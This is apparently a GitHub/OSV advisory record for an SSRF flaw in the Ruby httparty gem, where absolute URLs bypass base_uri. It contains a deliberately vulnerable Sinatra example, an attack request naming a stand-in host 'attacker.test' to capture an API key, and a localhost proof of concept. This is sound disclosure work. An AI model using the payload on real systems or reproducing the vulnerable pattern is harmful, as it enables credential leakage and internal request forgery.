{"id":"GHSA-hm5p-x4rq-38w4","summary":"httparty Has Potential SSRF Vulnerability That Leads to API Key Leakage","details":"## Summary\n\nThere may be an SSRF vulnerability in httparty. This issue can pose a risk of leaking API keys, and it can also allow third parties to issue requests to internal servers.\n\n## Details\n\nWhen httparty receives a path argument that is an absolute URL, it ignores the `base_uri` field. As a result, if a malicious user can control the path value, the application may unintentionally communicate with a host that the programmer did not anticipate.\n\nConsider the following example of a web application:\n\n```rb\nrequire 'sinatra'\nrequire 'httparty'\n\nclass RepositoryClient\n  include HTTParty\n  base_uri 'http://exmaple.test/api/v1/repositories/'\n  headers 'X-API-KEY' =\u003e '1234567890'\nend\n\npost '/issue' do\n  request_body = JSON.parse(request.body.read)\n  RepositoryClient.get(request_body['repository_id']).body\n  # do something\n  json message: 'OK'\nend\n```\n\nNow, suppose an attacker sends a request like this:\n\n```\nPOST /issue HTTP/1.1\nHost: localhost:10000\nContent-Type: application/json\n\n{\n    \"repository_id\": \"http://attacker.test\",\n    \"title\": \"test\"\n}\n```\n\nIn this case, httparty sends the `X-API-KEY` not to `http://example.test` but instead to `http://attacker.test`.\n\nA similar problem was reported and fixed in the HTTP client library axios in the past:  \n\u003chttps://github.com/axios/axios/issues/6463\u003e\n\nAlso, Python's `urljoin` function has documented a warning about similar behavior:  \n\u003chttps://docs.python.org/3.13/library/urllib.parse.html#urllib.parse.urljoin\u003e\n\n## PoC\n\nFollow these steps to reproduce the issue:\n\n1. Set up two simple HTTP servers.\n\n   ```bash\n   mkdir /tmp/server1 /tmp/server2\n   echo \"this is server1\" \u003e /tmp/server1/index.html \n   echo \"this is server2\" \u003e /tmp/server2/index.html\n   python -m http.server -d /tmp/server1 10001 &\n   python -m http.server -d /tmp/server2 10002 &\n   ```\n\n2. Create a script (for example, `main.rb`):\n\n   ```rb\n   require 'httparty'\n\n   class Client\n     include HTTParty\n     base_uri 'http://localhost:10001'\n   end\n\n   data = Client.get('http://localhost:10002').body\n   puts data\n   ```\n\n3. Run the script:\n\n   ```bash\n   $ ruby main.rb\n   this is server2\n   ```\n\nAlthough `base_uri` is set to `http://localhost:10001/`, httparty sends the request to `http://localhost:10002/`.\n\n\n## Impact\n\n- Leakage of credentials: If an absolute URL is provided, any API keys or credentials configured in httparty may be exposed to unintended third-party hosts.  \n- SSRF (Server-Side Request Forgery): Attackers can force the httparty-based program to send requests to other internal hosts within the network where the program is running.  \n- Affected users: Any software that uses `base_uri` and does not properly validate the path parameter may be affected by this issue.","aliases":["CVE-2025-68696"],"modified":"2026-07-17T21:08:57.223842962Z","published":"2025-12-23T19:31:10Z","database_specific":{"github_reviewed_at":"2025-12-23T19:31:10Z","nvd_published_at":"2025-12-23T23:15:45Z","cwe_ids":["CWE-918"],"severity":"HIGH","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/jnunemaker/httparty/security/advisories/GHSA-hm5p-x4rq-38w4"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-68696"},{"type":"WEB","url":"https://github.com/jnunemaker/httparty/commit/0529bcd6309c9fd9bfdd50ae211843b10054c240"},{"type":"PACKAGE","url":"https://github.com/jnunemaker/httparty"},{"type":"WEB","url":"https://github.com/rubysec/ruby-advisory-db/blob/master/gems/httparty/CVE-2025-68696.yml"}],"affected":[{"package":{"name":"httparty","ecosystem":"RubyGems","purl":"pkg:gem/httparty"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.24.0"}]}],"versions":["0.1.0","0.1.1","0.1.2","0.1.3","0.1.5","0.1.6","0.1.7","0.1.8","0.10.0","0.10.1","0.10.2","0.11.0","0.12.0","0.13.0","0.13.1","0.13.2","0.13.3","0.13.4","0.13.5","0.13.6","0.13.7","0.14.0","0.15.0","0.15.1","0.15.2","0.15.3","0.15.4","0.15.5","0.15.6","0.15.7","0.16.0","0.16.1","0.16.2","0.16.3","0.16.4","0.17.0","0.17.1","0.17.3","0.18.0","0.18.1","0.19.0","0.19.1","0.2.0","0.2.1","0.2.10","0.2.2","0.2.3","0.2.4","0.2.5","0.2.6","0.2.7","0.2.8","0.2.9","0.20.0","0.21.0","0.22.0","0.23.0","0.23.1","0.23.2","0.3.0","0.3.1","0.4.0","0.4.1","0.4.2","0.4.3","0.4.4","0.4.5","0.5.0","0.5.1","0.5.2","0.6.0","0.6.1","0.7.0","0.7.2","0.7.3","0.7.4","0.7.6","0.7.7","0.7.8","0.8.0","0.8.1","0.8.2","0.8.3","0.9.0"],"database_specific":{"last_known_affected_version_range":"\u003c= 0.23.2","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/12/GHSA-hm5p-x4rq-38w4/GHSA-hm5p-x4rq-38w4.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:P"}]}
